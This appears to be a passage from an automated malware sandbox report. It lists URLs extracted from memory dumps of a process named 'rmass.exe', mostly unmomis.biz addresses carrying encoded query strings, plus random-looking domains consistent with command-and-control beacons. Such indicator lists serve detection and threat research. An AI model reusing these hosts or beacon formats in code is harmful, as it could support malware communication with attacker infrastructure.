Source: rmass.exe, 00000001.00000003.3389970035.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3395608764.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3679118016.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446319307.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3541094612.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3687384821.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3588334030.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3518018071.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3503634533.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3673634790.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3455263197.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3399923647.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3680665470.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3404866543.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3676532038.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3458803709.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3593296009.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3687682263.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3544769439.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3678227211.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3685693498.00000000008FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://suaumy.st/d
Source: rmass.exe, 00000001.00000003.3389970035.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3395608764.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3679118016.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446319307.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3541094612.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3687384821.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3588334030.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3518018071.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3503634533.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3673634790.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3455263197.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3399923647.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3680665470.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3404866543.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3676532038.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3458803709.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3593296009.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3687682263.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3544769439.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3678227211.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3685693498.00000000008FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://suaumy.st/s
Source: rmass.exe, 00000001.00000003.4044818239.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sucqgwmgtooxj.st/
Source: rmass.exe, 00000001.00000003.4044818239.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sucqgwmgtooxj.st/d
Source: rmass.exe, 00000001.00000003.4044818239.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sucqgwmgtooxj.st/ed
Source: rmass.exe, 00000001.00000003.3164269761.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sugzfsbm.cd/
Source: rmass.exe, 00000001.00000003.3174554721.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twksqismr.nu/
Source: rmass.exe, 00000001.00000003.3034385096.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://uijwvmkhcqvqs.mp/
Source: rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ukgyw.pw/
Source: rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ukgyw.pw/d
Source: rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ukgyw.pw/ed
Source: rmass.exe, 00000001.00000003.3658843267.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://umqspueucw.museum/
Source: rmass.exe, 00000001.00000003.3658843267.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://umqspueucw.museum/db
Source: rmass.exe, 00000001.00000003.3658843267.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://umqspueucw.museum/ex
Source: rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3212528317.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2882057101.00000000008B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.b
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3214901315.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240367538.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3216427094.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3226566442.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3229376304.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3232200845.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3228271129.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3220500100.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242600421.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3217980400.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3219240595.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3216383158.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3236982961.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239485029.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3224420298.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3214664857.0000000003F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0204E7978B04E7978B2AE7BB8B04E7BF3300CBB54F05E7572306E3A1A536C9AEB934D7B98B
Source: rmass.exe, 00000001.00000003.3216383158.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3214664857.0000000003F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0204E7978B04E7978B2AE7BB8B04E7BF3300CBB54F05E7572306E3A1A536C9AEB934D7B98BY
Source: rmass.exe, 00000001.00000003.3214664857.0000000003F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0204E7978B04E7978B2AE7BB8B04E7BF3300CBB54F05E7572306E3A1A536C9AEB934D7B98Be
Source: rmass.exe, 00000001.00000003.3216383158.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3217941127.0000000003F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0204E7978B04E7978B2AE7BB8Z
Source: rmass.exe, 00000001.00000003.3228271129.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0216792410167924103879081016790CA8125506D41779E4B8147D123E24571D2226490A10
Source: rmass.exe, 00000001.00000003.3229376304.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3235223088.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3232200845.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3228271129.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0216792410167924103879081016790CA8125506D41779E4B8147D123E24571D2226490A10F
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02183FB41B183FB41B363F981B183F9CA31C1396DF193F74B31A3B82352A118D29280F9A1B
Source: rmass.exe, 00000001.00000003.3241415341.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242534191.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0218878814188788143687A4141887A0AC1CABAAD0198748BC1A83BE3A2AA9B12628B7A614
Source: rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0218878814188788143687A4141887A0AC1CABAAD0198748BC1A83BE3A2AA9B12628B7A614Xs
Source: rmass.exe, 00000001.00000003.3212528317.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0222D8A85
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3165682120.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3164269761.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3169523176.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0222D8A85C22D8A85C0CD8845C22D880E426F48A9823D868F420DC9E7210F6916E12E8865C
Source: rmass.exe, 00000001.00000003.3217980400.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3212528317.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3212965504.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3216427094.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3221197322.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3213360751.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3224420298.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3220500100.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3214901315.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3226566442.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3213173907.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3219240595.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02252A0556252A05560B2A2956252A2DEE2106279
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02252A0556252A05560B2A2956252A2DEE21062792242AC5FE272E337817043C64151A2B56
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0234D7356234D735621AD7196234D71DDA30FB17A635D7F5CA36D3034C06F90C5004E71B62
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3281793255.000000000092A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3283302543.000000000092A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?023F7B34FB3F7B34FB117B18FB3F7B1C433B57163F3E7BF4533D7F02D50D550DC90F4B1AFB
Source: rmass.exe, 00000001.00000003.3281793255.000000000092A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3283302543.000000000092A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?023F7B34FB3F7B34FB117B18FB3F7B1C433B57163F3E7BF4533D7F02D50D550DC90F4B1AFB=
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0248ABACD748ABACD766AB80D748AB846F4C878E1349AB6C7F4AAF9AF97A8595E5789B82D7
Source: rmass.exe, 00000001.00000003.3118900201.00000000008F7000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3134132656.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?025203CFF95203CFF97C03E3F95203E741562FED3D53030F515007F9D7602DF6CB6233E1F9
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?025402F2EB5402F2EB7A02DEEB5402DA53502ED02F550232435606C4C5662CCBD96432DCEB
Source: rmass.exe, 00000001.00000003.3034344590.00000000008F6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3039250670.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02546EB26A546EB26A7A6E9E6A546E9AD2504290AE556E72C2566A844466408B58645E9C6A
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02548FC8BB548FC8BB7A8FE4BB548FE00350A3EA7F558F0813568BFE9566A1F18964BFE6BB
Source: rmass.exe, 00000001.00000003.3254106812.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02548FC8BB548FC8BB7A8FE4BB548FE00350A3EA7F558F0813568BFE9566A1F18964BFE6BB0$
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3266240459.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?025C68F1855C68F1857268DD855C68D93D5844D3415D68312D5E6CC7AB6E46C8B76C58DF85
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2842610303.00000000008B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02685F5736685F5736465F7B36685F7F8E6C7375F2695F979E6A5B61185A716E04586F7936
Source: rmass.exe, 00000001.00000003.2842610303.00000000008B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02685F5736685F5736465F7B36685F7F8E6C7375F2695F979E6A5B61185A716E04586F7936udo
Source: rmass.exe, 00000001.00000003.3113543066.00000000008F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?027939291F7939291F5739051F793901A77D150BDB7839E9B77B3D1F314B17102D4909071F
Source: rmass.exe, 00000001.00000003.3212528317.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?027A88642
Source: rmass.exe, 00000001.00000003.3199121962.00000000008F7000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3212528317.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3213173907.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3212965504.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3201314500.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3213360751.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?027A88642B7A88642B5488482B7A884C937EA446EF7B88A483788C520548A65D194AB84A2B
Source: rmass.exe, 00000001.00000003.3102815376.00000000008FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?027AEC85B27AEC85B254ECA9B27AECAD0A7EC0A7767BEC451A78E8B39C48C2BC804ADCABB2
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02889D8E9D889D8E9DA69DA29D889DA6258CB1AC59899D4E358A99B8B3BAB3B7AFB8ADA09D
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3106031922.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0289E7D9BA89E7D9BAA7E7F5BA89E7F1028DCBFB7E88E719128BE3EF94BBC9E088B9D7F7BA
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2972841378.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2990574465.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2908413489.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2941549203.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2994060204.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?028C10C9DC8C10C9DCA210E5DC8C10E164883CEB188D1009748E14FFF2BE3EF0EEBC20E7DC
Source: rmass.exe, 00000001.00000003.2972841378.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2990574465.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2908413489.00000000008C0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2941549203.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2994060204.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?028C10C9DC8C10C9DCA210E5DC8C10E164883CEB188D1009748E14FFF2BE3EF0EEBC20E7DCS
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3304739269.00000000008F0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3306319724.00000000008F0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3300431487.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?028C8061F68C8061F6A2804DF68C80494E88AC43328D80A15E8E8457D8BEAE58C4BCB04FF6
Source: rmass.exe, 00000001.00000003.3314951026.00000000008F0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3313551699.00000000008F0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3313858641.00000000008F0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3308269210.00000000008F0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3307696619.00000000008F0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3308059211.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?028C8061Fz
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3281894876.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3281894876.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?028E5888638E588863A058A4638E58A0DB8A74AAA78F5848CB8C5CBE4DBC76B151BE68A663
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3293824948.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3293824948.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?028F42FBB98F42FBB9A142D7B98F42D3018B6ED97D8E423B118D46CD97BD6CC28BBF72D5B9
Source: rmass.exe, 00000001.00000003.3117021370.00000000008F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02943B6BF2943B6BF2BA3B47F2943B434A90174936953BAB5A963F5DDCA61552C0A40B45F2
Source: rmass.exe, 00000001.00000003.3125217617.00000000008F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0294B836C094B836C0BAB81AC094B81E789094140495B8F66896BC00EEA6960FF2A48818C0
Source: rmass.exe, 00000001.00000003.3129610021.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3129084193.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0294B836C094B836C0BAB81AC094B81E789094140495B8F66896BC00EEA6960FF2A48818C0ajg
Source: rmass.exe, 00000001.00000003.3129610021.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3129084193.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0294B836C094B836C0BAB81AC094B81E789094140495B8F66896BC00EEA6960FF2A48818C0coo
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3254106812.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3246546302.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248670156.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258954340.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3246546302.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3263799036.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253151865.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3261570593.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253001845.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?029648976496489764B848BB649648BFDC9264B5A0974857CC944CA14AA466AE56A678B964
Source: rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253001845.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?029648976496489764B848BB649648BFDC9264B5A0974857CC944CA14AA466AE56A678B964(
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3244038351.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242534191.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02A250AF44A250AF448C508344A25087FCA67C8D80A3506FECA054996A907E967692608144
Source: rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02A250AF44A250AF448C508344A25087FCA67C8D80A3506FECA054996A907E967692608144Q
Source: rmass.exe, 00000001.00000003.3253987466.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253001845.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02A250AF44A250AF448C508344A25087FCA67C8D80A3506FECA054996R
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02AA9E0B23AA9E0B23849E2723AA9E239BAEB229E7AB9ECB8BA89A3D0D98B032119AAE2523
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02B2734526B27345269C736926B2736D9EB65F67E2B373858EB0777308805D7C1482436B26
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3196055527.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3198213733.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3198213733.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3196055527.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02C4BAF698C4BAF698EABADA98C4BADE20C096D45CC5BA3630C6BEC0B6F694CFAAF48AD898
Source: rmass.exe, 00000001.00000003.3139268659.00000000008F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02D0759FFDD0759FFDFE75B3FDD075B745D459BD39D1755F55D271A9D3E25BA6CFE045B1FD
Source: rmass.exe, 00000001.00000003.3144462797.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02D0759FFDD0759FFDFE75B3FDD075B745D459BD39D1755F55D271A9D3E25BA6CFE045B1FDi
